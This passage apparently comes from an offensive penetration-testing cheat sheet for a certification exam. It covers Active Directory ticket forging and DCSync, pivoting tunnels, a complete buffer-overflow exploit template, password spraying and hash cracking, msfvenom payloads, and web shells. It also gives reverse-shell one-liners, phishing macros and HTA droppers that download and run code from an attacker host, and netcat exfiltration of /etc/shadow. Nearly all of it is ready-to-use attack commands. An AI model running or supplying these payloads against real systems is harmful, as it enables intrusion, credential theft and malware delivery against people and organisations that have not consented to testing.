(Reset svc_admin password, now you own that account)
Group Policy abuse
Add yourself as local admin via GPO — Affects all machines GPO applies to
If you can modify GPO:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <user> --GPOName <gpo>
Example Output
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount john --GPOName 'Default Domain Policy'
[+] john added as local admin via GPO
gpupdate /force on target
(john is now local admin on all domain machines)
Print Spooler / coerce auth
Force DC to auth to you — Relay to another DC for compromise
printerbug.py <domain>/<user>:<pass>@<DC_IP> <ATTACKER_IP>
with responder or ntlmrelayx listening
Example Output
printerbug.py corp.local/john:Pass@DC01 ATTACKER_IP
[*] Attempting to trigger authentication
On attacker (ntlmrelayx):
[*] SMBD: Received connection from DC01
[*] Authenticating against DC02
[*] ADMIN$ access on DC02
(Relayed DC auth to compromise second DC)
Ticket Attacks (Golden / Silver)
Silver Ticket
Forge a service ticket — Impersonate any user to a specific service
# Requires: service account NTLM hash, domain SID, target SPN
# Mimikatz:
kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local /service:cifs /rc4:<service_ntlm_hash> /user:administrator /ptt
# Impacket:
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... -domain domain.local -spn cifs/server.domain.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass domain.local/administrator@server.domain.local
Golden Ticket
Forge a TGT using krbtgt hash — Impersonate anyone to any service
# Requires: krbtgt NTLM hash (from DCSync), domain SID
# Mimikatz:
kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:<krbtgt_hash> /ptt
# Impacket:
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass domain.local/administrator@dc.domain.local
DCSync attack
Replicate credentials from DC — Requires Replicating Directory Changes rights
# Mimikatz:
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv
# Impacket (from Linux):
impacket-secretsdump domain.local/admin:'Password1'@$DC_IP
impacket-secretsdump -just-dc domain.local/admin:'Password1'@$DC_IP
Pass the Ticket
Use a captured or forged ticket — Inject into current session
# Mimikatz:
kerberos::ptt ticket.kirbi
# Rubeus:
.\Rubeus.exe ptt /ticket:ticket.kirbi
# Linux:
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass domain.local/administrator@target.domain.local
POST-EXPLOITATION (AFTER DA)
Dump all hashes
Every account hash in domain — Complete compromise
impacket-secretsdump <domain>/Administrator@<DC_IP> -hashes :<hash>
Example Output
impacket-secretsdump corp.local/Administrator@10.10.10.5 -hashes :31d6cfe...
Administrator:500:aad3b...:31d6cfe...
krbtgt:502:aad3b...:f3bc61...
john.smith:1001:aad3b...:8846f7...
(1247 accounts dumped - full domain compromise)
Access any machine
SYSTEM on any domain machine — Prove impact for report
impacket-psexec <domain>/Administrator@<target> -hashes :<hash>
Example Output
impacket-psexec corp.local/Administrator@10.10.10.20 -hashes :31d6cfe...
C:\Windows\system32> whoami
nt authority\system
(SYSTEM on any machine in the domain)
Flag collection
Exam flag files — Screenshot with whoami & ipconfig
type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\<user>\Desktop\local.txt
Example Output
type C:\Users\Administrator\Desktop\proof.txt
<flag_hash_here>
SCREENSHOT MUST INCLUDE:
- The flag content
- whoami output
- ipconfig output
- All in same terminal window
🔀 Pivoting & Tunneling
Accessing internal networks through compromised hosts.
- IDENTIFY PIVOT TARGETS
- SSH TUNNELING
- CHISEL (NO SSH NEEDED)
- LIGOLO-NG (ADVANCED PIVOTING)
- WINDOWS PORT FORWARDING
- PROXYCHAINS CONFIGURATION
IDENTIFY PIVOT TARGETS
Check interfaces on foothold
Multiple NICs = dual-homed — Gateway to internal network
ip a
ifconfig
ipconfig /all
Example Output
ip a
2: eth0: <BROADCAST> mtu 1500
inet 10.10.14.5/24
3: eth1: <BROADCAST> mtu 1500
inet 172.16.1.5/24
(DUAL-HOMED! 172.16.1.0/24 is internal network)
Check routing table
Known networks — Map internal subnets
ip route
route print
netstat -rn
Example Output
ip route
default via 10.10.14.1 dev eth0
10.10.14.0/24 dev eth0
172.16.1.0/24 dev eth1
(Can reach 172.16.1.0/24 internal network)
Check ARP cache
Recently contacted hosts — Active internal hosts
arp -a
ip neigh
Example Output
arp -a
? (172.16.1.1) at aa:bb:cc:dd:ee:ff [ether] on eth1
? (172.16.1.10) at aa:bb:cc:dd:ee:01 [ether] on eth1
? (172.16.1.20) at aa:bb:cc:dd:ee:02 [ether] on eth1
(3 hosts alive on internal network)
Ping sweep internal network
Find live hosts — Discover internal targets
for i in $(seq 1 254); do (ping -c 1 10.10.10.$i | grep 'bytes from' &); done
Example Output
for i in $(seq 1 254); do ping -c 1 172.16.1.$i; done
172.16.1.1: bytes from (gateway)
172.16.1.10: bytes from (host alive)
172.16.1.20: bytes from (host alive)
172.16.1.100: bytes from (host alive)
Port scan from pivot
Bash port scanner (no tools) — When you can't upload nmap
for port in 21 22 25 53 80 88 135 139 389 443 445 636 1433 3306 3389 5985 8080; do (echo > /dev/tcp/10.10.10.X/$port) 2>/dev/null && echo "$port open"; done
Example Output
for port in 22 80 445 3389; do
(echo > /dev/tcp/172.16.1.10/$port) 2>/dev/null && echo "$port open"
done
22 open
80 open
445 open
(Found 3 open ports on internal host)
SSH TUNNELING
Local port forward
Access internal:80 via your localhost:8080 — Browse internal web apps
ssh -L 8080:INTERNAL_TARGET:80 user@PIVOT_HOST
Example Output
ssh -L 8080:172.16.1.10:80 john@10.10.14.5
Now browse: http://127.0.0.1:8080
(You see internal web app on 172.16.1.10:80)
Remote port forward
Make your port accessible from pivot — Expose your tools to internal net
ssh -R 9090:127.0.0.1:80 user@ATTACKER_IP
Example Output
ssh -R 9090:127.0.0.1:80 attacker@10.10.14.2
On attacker: curl http://127.0.0.1:9090
(Access pivot's localhost:80 from your machine)
Dynamic SOCKS proxy
SOCKS proxy through pivot — Route any tool through pivot
ssh -D 1080 user@PIVOT_HOST
Example Output
ssh -D 1080 john@10.10.14.5
Edit /etc/proxychains4.conf:
socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 172.16.1.10
(Scan internal network through pivot)
Use SOCKS proxy
Prepend proxychains to any command — Edit /etc/proxychains4.conf: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn INTERNAL_TARGET
proxychains crackmapexec smb INTERNAL_TARGET
Example Output
proxychains nmap -sT -Pn 172.16.1.10
ProxyChains | S-chain |->127.0.0.1:1080
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
445/tcp open microsoft-ds
(Scanning internal network through pivot)
SSH with key + tunnel
Multiple port forwards at once — Forward several services
ssh -i id_rsa -L 445:DC_IP:445 -L 5985:DC_IP:5985 user@PIVOT
Example Output
ssh -i id_rsa -L 445:172.16.1.10:445 -L 5985:172.16.1.10:5985 john@10.10.10.5
Now on attacker:
crackmapexec smb 127.0.0.1 -u admin -p Pass
evil-winrm -i 127.0.0.1 -u admin -p Pass
(Multiple internal ports forwarded at once)
Persistent SSH tunnel
Background tunnel — -f background, -N no commands, -T no TTY
ssh -fNT -L 8080:INTERNAL:80 user@PIVOT
Example Output
ssh -fNT -L 8080:172.16.1.10:80 john@10.10.10.5
(Returns to prompt, tunnel runs in background)
curl http://127.0.0.1:8080
(Access internal web app while working)
CHISEL (NO SSH NEEDED)
Start chisel server (attacker)
Run on your machine — Listens for client connections
chisel server --reverse --port 8000
Example Output
chisel server --reverse --port 8000
2026/02/24 server: Listening on http://0.0.0.0:8000
2026/02/24 server: session#1: Client connected
(Waiting for agent connections)
Chisel client - reverse SOCKS
Run on pivot host — Creates SOCKS5 proxy on attacker:1080
chisel client ATTACKER_IP:8000 R:socks
Example Output
Attacker: chisel server --reverse --port 8000
Pivot: chisel client 10.10.14.2:8000 R:socks
[server] session#1: tun created
[server] session#1: proxy 127.0.0.1:1080
proxychains nmap -sT -Pn 172.16.1.10
(SOCKS proxy without SSH)
Chisel client - port forward
Forward specific port — Access internal:80 on your localhost:8080
chisel client ATTACKER_IP:8000 R:8080:INTERNAL_TARGET:80
Example Output
Attacker: chisel server --reverse --port 8000
Pivot: chisel client 10.10.14.2:8000 R:8080:172.16.1.10:80
[server] session#1: tun created
[server] Reverse port forwarding 0.0.0.0:8080 => 172.16.1.10:80
curl http://127.0.0.1:8080
(Specific port forward instead of full SOCKS proxy)
Use with proxychains
Route tools through tunnel — Same as SSH SOCKS proxy
proxychains nmap -sT -Pn INTERNAL_IP
proxychains evil-winrm -i INTERNAL_IP -u user -p pass
Example Output
proxychains crackmapexec smb 172.16.1.0/24 -u john -p Password1
172.16.1.10 [+] corp\john (Pwn3d!)
172.16.1.20 [-] corp\john
172.16.1.30 [+] corp\john (Pwn3d!)
(Enumerated entire internal subnet through chisel)
Chisel Windows client
Works on Windows too — Upload chisel.exe to target
chisel.exe client ATTACKER_IP:8000 R:socks
Example Output
chisel.exe client 10.10.14.2:8000 R:socks
2026/02/24 client: Connected
(Same as Linux client, works on Windows targets)
proxychains from attacker now reaches internal net
LIGOLO-NG (ADVANCED PIVOTING)
Start proxy (attacker)
Run on attacker — Proxy server
ligolo-proxy -selfcert -laddr 0.0.0.0:443
Example Output
ligolo-proxy -selfcert -laddr 0.0.0.0:443
INFO[0000] Listening on 0.0.0.0:443
Agent connects:
INFO[0005] Agent joined: john@pivot (172.16.1.5)
>> session
>> autoroute
>> start
(Direct access to 172.16.1.0/24, no proxychains needed)
Start agent (pivot)
Run on pivot host — Connects back to proxy
ligolo-agent -connect ATTACKER_IP:443 -ignore-cert
Example Output
./ligolo-agent -connect 10.10.14.2:443 -ignore-cert
[*] Connection established
[*] Waiting for proxy configuration
(Agent running on pivot, connected to your proxy)
Add route and start tunnel
In ligolo proxy interface — Adds route to internal network
session (select session)
autoroute
start
Example Output
ligolo>> session
1 - john@pivot - 172.16.1.5
ligolo>> autoroute
[+] Route 172.16.1.0/24 added
ligolo>> start
[+] Tunnel started
(Direct access to internal network, no proxychains needed)
Access internal network directly
No proxychains needed — Transparent tunnel
nmap INTERNAL_IP
crackmapexec smb INTERNAL_IP
Example Output
nmap -sT -Pn 172.16.1.10
crackmapexec smb 172.16.1.10
evil-winrm -i 172.16.1.10
(All tools work directly, no proxychains prefix needed)
(This is the main advantage of ligolo over chisel)
Add listeners for reverse shells
Forward reverse shells through tunnel — Internal targets connect to pivot, you get shell
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
Example Output
ligolo>> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
On internal target: reverse shell to 172.16.1.5:4444
Shell arrives at your machine on port 4444
(Reverse shells route through the tunnel)
WINDOWS PORT FORWARDING
netsh port forward
Built-in Windows forwarding — No tools needed
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_IP
Example Output
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.1.10
Now from attacker:
curl http://PIVOT_IP:8080
(Access internal web app through Windows pivot)
Remove netsh forward
Cleanup — Remove when done
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
Example Output
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
(Clean up after yourself)
(Important for reporting - document cleanup steps)
Show netsh forwards
List active forwards — Verify setup
netsh interface portproxy show all
Example Output
netsh interface portproxy show all
Listen on ipv4: Connect to ipv4:
Address Port Address Port
0.0.0.0 8080 172.16.1.10 80
0.0.0.0 4445 172.16.1.10 445
(Verify your port forwards are active)
plink.exe (PuTTY SSH)
SSH tunnel from Windows — If SSH client not available
plink.exe -L 8080:INTERNAL:80 user@ATTACKER_IP
Example Output
plink.exe -ssh -L 8080:172.16.1.10:80 attacker@10.10.14.2
OR for dynamic proxy:
plink.exe -ssh -D 1080 attacker@10.10.14.2
(SSH tunneling from Windows when OpenSSH isn't available)
PROXYCHAINS CONFIGURATION
Edit proxychains config
Point to your SOCKS proxy — Match port from SSH -D or chisel
nano /etc/proxychains4.conf
Set: socks5 127.0.0.1 1080
Example Output
nano /etc/proxychains4.conf
# Add at bottom:
socks5 127.0.0.1 1080
# Make sure only ONE proxy line is uncommented
# Match port to your SSH -D or chisel SOCKS port
Use strict_chain
Sequential proxy chain — Most reliable for single pivot
Set: strict_chain
Comment out: random_chain, dynamic_chain
Example Output
/etc/proxychains4.conf:
strict_chain <- uncomment this
#random_chain <- comment this
#dynamic_chain <- comment this
(strict = goes through proxies in order, most reliable)
Nmap through proxychains
Must use -sT (TCP connect) Must use -Pn (no ping) — SYN scan won't work through SOCKS
proxychains nmap -sT -Pn -p 21,22,80,443,445,3389 INTERNAL_IP
Example Output
proxychains nmap -sT -Pn -p 21,22,80,445,3389 172.16.1.10
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
445/tcp open microsoft-ds
(Internal host enumeration through pivot)
Full toolkit through proxy
Any tool through proxy — Treat internal network as local
proxychains crackmapexec smb INTERNAL/24
proxychains evil-winrm -i INTERNAL_IP
proxychains impacket-psexec domain/user@INTERNAL_IP
Example Output
proxychains evil-winrm -i 172.16.1.10 -u admin -p Pass
proxychains impacket-psexec corp/admin@172.16.1.10
proxychains xfreerdp /u:admin /p:Pass /v:172.16.1.10
proxychains smbclient //172.16.1.10/C$ -U admin
(Every tool works through the proxy)
💥 Buffer Overflow
Structured methodology for stack-based buffer overflow exploitation.
METHODOLOGY
1. Fuzzing — Find the crash point
Send increasing payloads to identify the approximate crash offset
import socket
buffer = b"A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("$IP", 9999))
s.send(buffer + b"\r\n")
s.close()
buffer += b"A" * 100
except:
print(f"Crashed at {len(buffer)} bytes")
break
Example Output
Crashed at 2500 bytes
2. Find exact offset
Use pattern_create to find EIP offset — Tells you exactly where EIP is
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
# Send the pattern as payload, note EIP value
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2500 -q <EIP_VALUE>
Example Output
[*] Exact match at offset 2003
EIP is at bytes 2003-2006
3. Confirm EIP control
Overwrite EIP with known value — Verify you control execution flow
offset = 2003
buffer = b"A" * offset + b"B" * 4 + b"C" * (2500 - offset - 4)
# EIP should be 42424242 (BBBB)
4. Find bad characters
Send all bytes 0x00-0xFF — Identify characters that break the shellcode
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
# ... continue through 0xff
)
# \x00 is almost always bad - exclude it
# Compare in debugger: any byte that doesn't appear or corrupts following bytes = bad
5. Find JMP ESP
Locate a JMP ESP instruction in a module without ASLR/DEP — This becomes your return address
# In Immunity Debugger with mona:
!mona jmp -r esp -cpb "\x00"
# Or find manually:
!mona modules # Find module with no protections
!mona find -s "\xff\xe4" -m <module.dll>
Example Output
0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll]
ASLR: False, Rebase: False, SafeSEH: False
Use this address as your EIP overwrite (little endian)
6. Generate shellcode
msfvenom payload excluding bad chars — Reverse shell or bind shell
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -b "\x00" -f python -v shellcode
7. Final exploit
Combine all components — NOP sled + shellcode
import socket
offset = 2003
jmp_esp = b"\xaf\x11\x50\x62" # 0x625011af in little endian
nop_sled = b"\x90" * 16
shellcode = b"" # paste msfvenom output here
buffer = b"A" * offset + jmp_esp + nop_sled + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("$IP", 9999))
s.send(buffer + b"\r\n")
s.close()
QUICK CHECKLIST
BOF exploit development order
Follow this exact order every time — Don't skip steps
1. Fuzz → find approximate crash length
2. pattern_create → find exact EIP offset
3. Confirm EIP control with "BBBB" (0x42424242)
4. Bad chars → test 0x01-0xFF (0x00 always bad)
5. JMP ESP → find in unprotected module
6. Shellcode → msfvenom with -b for bad chars
7. Exploit → offset + JMP ESP + NOPs + shellcode
COMMON BAD CHARACTERS
Usual suspects
These are frequently bad — Always test all 256 though
\x00 Null byte (almost always bad)
\x0a Line feed (\n)
\x0d Carriage return (\r)
\x25 Percent (%)
\x2b Plus (+)
\x2f Forward slash (/)
\x5c Backslash (\)
🔓 Password Attacks
Cracking, spraying, and credential attacks.
HASH CRACKING
Identify hash type
Determine algorithm before cracking — hashid or hash length
hashid '$2y$10$abc...'
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
hash-identifier
Example Output
MD5: 32 hex chars
SHA1: 40 hex chars
SHA256: 64 hex chars
SHA512: 128 hex chars
bcrypt: $2a$ or $2y$ prefix
NTLMv2: username::domain:challenge:hash
Hashcat common modes
Quick reference for hash modes — Use hashcat -m
hashcat -m 0 hash.txt wordlist.txt # MD5
hashcat -m 100 hash.txt wordlist.txt # SHA1
hashcat -m 1000 hash.txt wordlist.txt # NTLM
hashcat -m 1800 hash.txt wordlist.txt # sha512crypt ($6$)
hashcat -m 500 hash.txt wordlist.txt # md5crypt ($1$)
hashcat -m 3200 hash.txt wordlist.txt # bcrypt
hashcat -m 13100 hash.txt wordlist.txt # Kerberoast (TGS-REP)
hashcat -m 18200 hash.txt wordlist.txt # AS-REP Roast
hashcat -m 5600 hash.txt wordlist.txt # NTLMv2
hashcat -m 1600 hash.txt wordlist.txt # Apache $apr1$ MD5
Hashcat with rules
Rules dramatically increase hit rate — Best rules for common passwords
hashcat -m 1000 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hash.txt wordlist.txt -r /usr/share/hashcat/rules/rockyou-30000.rule
hashcat -m 1000 hash.txt wordlist.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule
John the Ripper
Alternative cracker — Good for mixed formats and auto-detect
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john hash.txt --wordlist=wordlist.txt --rules=best64
john --show hash.txt
Crack /etc/shadow
Unshadow then crack — Linux password hashes
unshadow /etc/passwd /etc/shadow > unshadowed.txt
hashcat -m 1800 unshadowed.txt /usr/share/wordlists/rockyou.txt
Crack zip/rar/pdf passwords
Extract hash then crack — Use *2john tools
zip2john protected.zip > zip.hash
rar2john protected.rar > rar.hash
pdf2john protected.pdf > pdf.hash
keepass2john database.kdbx > keepass.hash
ssh2john id_rsa > ssh.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
ONLINE BRUTE FORCE
Hydra common services
Target specific services — Adjust threads for reliability
hydra -l admin -P wordlist.txt $IP ssh -t 4
hydra -l admin -P wordlist.txt $IP ftp
hydra -l admin -P wordlist.txt $IP rdp
hydra -l admin -P wordlist.txt $IP smb
hydra -L users.txt -P wordlist.txt $IP http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
CrackMapExec password spraying
Spray one password across many users — Avoid lockouts
crackmapexec smb $IP -u users.txt -p 'Password1' --continue-on-success
crackmapexec smb $IP -u users.txt -p 'Summer2025!' --continue-on-success
crackmapexec winrm $IP -u users.txt -p 'Password1'
Custom wordlist generation
Create targeted wordlists — Company name, season, year patterns
# CeWL - scrape website for words
cewl http://$IP -m 5 -w cewl.txt
# Common patterns to try:
# CompanyName2025!
# Season+Year (Summer2025, Winter2024!)
# City+Numbers (London123)
# Username+123 or +! or +2025
Mutate wordlists
Add common suffixes/prefixes — Catch lazy password policies
# Using hashcat rules on a wordlist:
hashcat --stdout wordlist.txt -r /usr/share/hashcat/rules/best64.rule > mutated.txt
# Quick manual mutations:
for word in $(cat base.txt); do
echo "${word}1"; echo "${word}!"; echo "${word}123"
echo "${word}2025"; echo "${word}2024"
done > mutated.txt
🧪 Payload Generation
msfvenom payloads, web shells, and reverse shell one-liners.
MSFVENOM
Windows reverse shell (staged)
Staged payload — Smaller size, requires meterpreter handler
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o shell.exe
Windows reverse shell (stageless)
Self-contained payload — Works with nc listener, more reliable
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o shell.exe
Linux reverse shell
ELF binary — chmod +x and execute
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f elf -o shell.elf
Java WAR (Tomcat)
Deploy via Tomcat manager — JSP reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f war -o shell.war
ASP/ASPX (IIS)
Upload to IIS web root — Windows web servers
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f asp -o shell.asp
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f aspx -o shell.aspx
PHP reverse shell
Upload or inject — Most common web shell format
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=4444 -o shell.php
MSI installer (AlwaysInstallElevated)
Abuse misconfigured Windows policy — Runs as SYSTEM
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f msi -o shell.msi
# On target: msiexec /quiet /qn /i shell.msi
DLL hijacking payload
Replace a DLL the service loads — Runs as service account
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f dll -o hijack.dll
Encoding to bypass basic AV
Shikata_ga_nai encoder — Multiple iterations
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
WEB SHELLS
PHP one-liner
Simplest possible web shell — Upload or inject
<?php system($_GET['cmd']); ?>
PHP reverse shell (Pentest Monkey)
Full interactive reverse shell — Most reliable PHP shell
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
# Edit LHOST and LPORT in the file
# Upload and visit the URL to trigger
ASPX web shell
For IIS servers — Upload to web root
<%@ Page Language="C#" %><%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["cmd"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%>
JSP web shell
For Tomcat/Java servers — Deploy as WAR or upload directly
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
REVERSE SHELL ONE-LINERS
Bash
Most reliable on Linux — Try this first
bash -i >& /dev/tcp/$LHOST/4444 0>&1
Python
Available on most Linux systems — Python 2 or 3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("$LHOST",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
PowerShell
Windows reverse shell — Encode to bypass restrictions
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('$LHOST',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Netcat (with -e)
If nc has -e flag — Simple and reliable
nc -e /bin/bash $LHOST 4444
Netcat (without -e)
FIFO pipe method — Works when nc doesn't have -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $LHOST 4444 >/tmp/f
SHELL UPGRADES
Upgrade to interactive TTY
First thing after catching a shell — Gives tab complete, Ctrl+C safety
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then Ctrl+Z to background
stty raw -echo; fg
export TERM=xterm
🎣 Client-Side Attacks
Phishing payloads, macro attacks, and client-side exploitation.
OFFICE MACROS
VBA reverse shell macro
Embed in Word/Excel document — Runs when macros are enabled
Sub AutoOpen()
Dim cmd As String
cmd = "powershell -nop -w hidden -e <BASE64_PAYLOAD>"
Shell cmd, vbHide
End Sub
Generate base64 PowerShell payload
Encode reverse shell for macro embedding — Avoids special character issues
# Create payload.ps1:
$client = New-Object System.Net.Sockets.TCPClient('$LHOST',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# Encode:
cat payload.ps1 | iconv -t UTF-16LE | base64 -w 0
Macro with download and execute
Download payload from your server then execute — Two-stage delivery
Sub AutoOpen()
Shell "powershell -nop -w hidden IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')", vbHide
End Sub
HTA FILES
HTA reverse shell
HTML Application — Runs as fully trusted application in Windows
<html>
<body>
<script language="VBScript">
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -nop -w hidden -e <BASE64_PAYLOAD>", 0
</script>
</body>
</html>
Serve HTA file
Host on your attack box — Victim clicks link or is redirected
# Save as shell.hta
# Serve it:
python3 -m http.server 80
# Victim visits: http://$LHOST/shell.hta
LIBRARY FILES
Windows Library file (.library-ms)
Create a library file pointing to attacker WebDAV — Captures hashes or serves payloads
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\$LHOST\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
SHORTCUT FILES
Malicious .lnk file
Create shortcut that executes PowerShell — Placed in writable shares
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\evil.lnk")
$lnk.TargetPath = "cmd.exe"
$lnk.Arguments = "/c powershell -nop -w hidden -e <BASE64>"
$lnk.IconLocation = "C:\Windows\System32\shell32.dll,3"
$lnk.Save()
DELIVERY METHODS
Python HTTP server
Quick file hosting — Serve payloads to target
python3 -m http.server 80
# Target downloads: certutil -urlcache -f http://$LHOST/shell.exe shell.exe
# Or: wget http://$LHOST/shell.elf -O /tmp/shell
SMB share for delivery
Serve files via SMB — Works when HTTP is blocked
impacket-smbserver share $(pwd) -smb2support
# Target: copy \\$LHOST\share\shell.exe C:\Windows\Temp\shell.exe
Phishing email considerations
Social engineering the delivery — Make it convincing
- Match sender domain to target organization
- Reference internal projects or people
- Create urgency (invoice, deadline, IT update)
- Use file types the target expects (.docx, .xlsx)
- Test payload delivery before sending
File Transfers
Every method for moving files to and from targets.
LINUX TARGET
Python HTTP server + wget/curl
Most common method — Works on almost every Linux target
# On attacker:
python3 -m http.server 80
# On target:
wget http://$LHOST/file -O /tmp/file
curl http://$LHOST/file -o /tmp/file
Netcat file transfer
No HTTP needed — Direct TCP transfer
# On attacker (send):
nc -lvnp 4444 < file.txt
# On target (receive):
nc $LHOST 4444 > file.txt
SCP (via SSH)
Encrypted transfer — If you have SSH credentials
scp file.txt user@$IP:/tmp/file.txt
scp user@$IP:/etc/passwd ./passwd
Base64 encode/decode
No network transfer needed — Copy/paste through shell
# On attacker:
base64 -w 0 file.bin
# On target:
echo "BASE64STRING" | base64 -d > file.bin
/dev/tcp (bash only)
No tools needed — Bash built-in
# Attacker: nc -lvnp 4444 > file.txt
# Target:
cat /etc/passwd > /dev/tcp/$LHOST/4444
WINDOWS TARGET
certutil
Built into Windows — Download files via HTTP
certutil -urlcache -f http://$LHOST/shell.exe C:\Windows\Temp\shell.exe
PowerShell download cradles
Multiple methods — Try each if one is blocked
# DownloadFile (saves to disk):
(New-Object Net.WebClient).DownloadFile('http://$LHOST/shell.exe','C:\Windows\Temp\shell.exe')
# DownloadString (in-memory execution):
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')
# Invoke-WebRequest (PowerShell 3+):
Invoke-WebRequest -Uri http://$LHOST/shell.exe -OutFile C:\Windows\Temp\shell.exe
SMB share
Serve files via SMB — Often works when HTTP is blocked
# On attacker:
impacket-smbserver share $(pwd) -smb2support
# On target:
copy \\$LHOST\share\shell.exe C:\Windows\Temp\shell.exe
Bitsadmin
Built-in Windows tool — Alternative to certutil
bitsadmin /transfer job /download /priority high http://$LHOST/shell.exe C:\Windows\Temp\shell.exe
Windows FTP (non-interactive)
Script FTP commands — Bypass interactive prompt
echo open $LHOST> ftp.txt
echo USER anonymous>> ftp.txt
echo binary>> ftp.txt
echo GET shell.exe>> ftp.txt
echo bye>> ftp.txt
ftp -s:ftp.txt
EXFILTRATION
Netcat exfil
Send files back to attacker — Simple TCP
# Attacker: nc -lvnp 4444 > loot.txt
# Target: nc $LHOST 4444 < /etc/shadow
Compiling Exploits
Cross-compiling C/C++ exploits for Linux and Windows targets.
Compile for Linux (on Kali)
Native compilation — Match target architecture
gcc exploit.c -o exploit # 64-bit
gcc -m32 exploit.c -o exploit # 32-bit
gcc exploit.c -o exploit -static # Static (no library deps)
gcc exploit.c -o exploit -lpthread -lcrypt # Common libs
Cross-compile for Windows (on Kali)
Use mingw — Create Windows executables from Linux
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe # 64-bit
i686-w64-mingw32-gcc exploit.c -o exploit.exe # 32-bit
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32 # With winsock
